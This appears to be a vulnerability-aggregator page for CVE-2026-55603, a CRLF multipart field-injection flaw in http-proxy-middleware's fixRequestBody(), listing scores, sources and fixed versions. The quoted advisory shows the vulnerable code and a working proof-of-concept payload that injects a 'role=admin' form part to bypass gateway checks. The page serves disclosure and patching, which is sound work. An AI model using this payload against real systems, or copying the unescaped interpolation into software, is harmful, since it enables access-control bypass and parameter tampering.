Every CVE Search/ Get API key

CVE-2026-55603

http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`

7.5 HighFix available

http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
High
Availability
None

Exploit likelihood

0.29%Up 0.1 points since Jun 23, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`

http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.

Record
CVE-2026-55603
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Weakness
CWE-93
Updated
2026-11-02
EUVDEUVD-2026-38349 7.5

http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.

Record
EUVD-2026-38349
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-gcq2-9pq2-cxqm 7.5

http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`

Summary

fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:

// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
  }
}

A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.

By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.

Preconditions

All three must hold; this narrows real-world exposure and is the basis for AC:H:

  1. The proxy app populates req.body with a non-multipart parser (express.urlencoded, express.json, or text) so an injected boundary in a value is not split on input.
  2. The proxied (outgoing) request is sent as multipart/form-data (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.
  3. The app calls fixRequestBody (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.

Note: a pure multipart-in → multipart-out flow (e.g. multer) is generally not exploitable for a new-field injection, because the proxy's multipart parser already splits the injected boundary, so req.body and the backend agree. The desync specifically requires a non-multipart input parser.

Impact

When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:

  • Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids role=admin is bypassed; backend grants admin).
  • Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices).
  • File-part injection inject a filename="..." part into the upstream multipart stream.

Proof of Concept

// npm i [email protected]   (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';

// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
  user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};

// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
  h: { 'content-type': 'multipart/form-data; boundary=BB' },
  getHeader(n){ return this.h[n.toLowerCase()]; },
  setHeader(n,v){ this.h[n.toLowerCase()] = v; },
  write(d){ out.push(Buffer.from(d)); },
};

fixRequestBody(proxyReq, req);          // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());

Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:

--BB
Content-Disposition: form-data; name="user"

alice
--BB
Content-Disposition: form-data; name="role"     <-- injected part; never present in req.body's keys
admin
--BB--

req.body had a single key…

Record
GHSA-gcq2-9pq2-cxqm
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Weakness
CWE-93
Updated
2026-11-02
NVD 7.5

http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.

Record
CVE-2026-55603
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Weakness
CWE-93
Updated
2026-11-02
OSV 7.5

http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`

http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.

Record
CVE-2026-55603
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Weakness
CWE-93
Updated
2026-11-02
OSVGHSA-gcq2-9pq2-cxqm 7.5

http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`

Summary

fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:

// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
  }
}

A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.

By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.

Preconditions

All three must hold; this narrows real-world exposure and is the basis for AC:H:

  1. The proxy app populates req.body with a non-multipart parser (express.urlencoded, express.json, or text) so an injected boundary in a value is not split on input.
  2. The proxied (outgoing) request is sent as multipart/form-data (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.
  3. The app calls fixRequestBody (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.

Note: a pure multipart-in → multipart-out flow (e.g. multer) is generally not exploitable for a new-field injection, because the proxy's multipart parser already splits the injected boundary, so req.body and the backend agree. The desync specifically requires a non-multipart input parser.

Impact

When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:

  • Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids role=admin is bypassed; backend grants admin).
  • Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices).
  • File-part injection inject a filename="..." part into the upstream multipart stream.

Proof of Concept

// npm i [email protected]   (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';

// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
  user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};

// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
  h: { 'content-type': 'multipart/form-data; boundary=BB' },
  getHeader(n){ return this.h[n.toLowerCase()]; },
  setHeader(n,v){ this.h[n.toLowerCase()] = v; },
  write(d){ out.push(Buffer.from(d)); },
};

fixRequestBody(proxyReq, req);          // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());

Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:

--BB
Content-Disposition: form-data; name="user"

alice
--BB
Content-Disposition: form-data; name="role"     <-- injected part; never present in req.body's keys
admin
--BB--

req.body had a single key…

Record
GHSA-gcq2-9pq2-cxqm
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Weakness
CWE-93
Updated
2026-11-02
OSVCLSA-2026-1792000560 No score

TuxCare security update for http-proxy-middleware (2 CVEs)

TuxCare rebuilt http-proxy-middleware to address 2 CVEs. Fixed in 4.0.0-tuxcare.1.

Record
CLSA-2026-1792000560
Updated
2026-11-02
OSVCLSA-2026-1792449353 No score

TuxCare security update for http-proxy-middleware (2 CVEs)

TuxCare rebuilt http-proxy-middleware to address 2 CVEs. Fixed in 3.0.5-tuxcare.1.

Record
CLSA-2026-1792449353
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-55603 No score

CVE-2026-55603 in @rootio/http-proxy-middleware - Patched by Root

Root has patched CVE-2026-55603 in the @rootio/http-proxy-middleware package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-55603
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
http-proxy-middleware
npm
3.0.4 up to 3.0.7
3.0.7
http-proxy-middleware
npm
4.0.0 up to 4.1.1
4.1.1
http-proxy-middleware
TuxCare:npm
From an advisory covering 2 CVEs
4.0.0-tuxcare.0 up to 4.0.0-tuxcare.1, plus listed versions
4.0.0
4.0.0-tuxcare.1
http-proxy-middleware
TuxCare:npm
From an advisory covering 2 CVEs
3.0.5-tuxcare.0 up to 3.0.5-tuxcare.1, plus listed versions
3.0.5
3.0.5-tuxcare.1
@rootio/http-proxy-middleware
Root:npm
before 3.0.5-root.io.1
3.0.5-root.io.13.0.5-root.io.2
http-proxy-middleware
Root:npm
before 3.0.5-aikido.1
3.0.5-aikido.13.0.5-aikido.2

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-55603 is a high vulnerability (CVSS 7.5) in Chimurai Http-proxy-middleware, published June 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.29%, the 21st percentile. Fixed in http-proxy-middleware 3.0.7.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open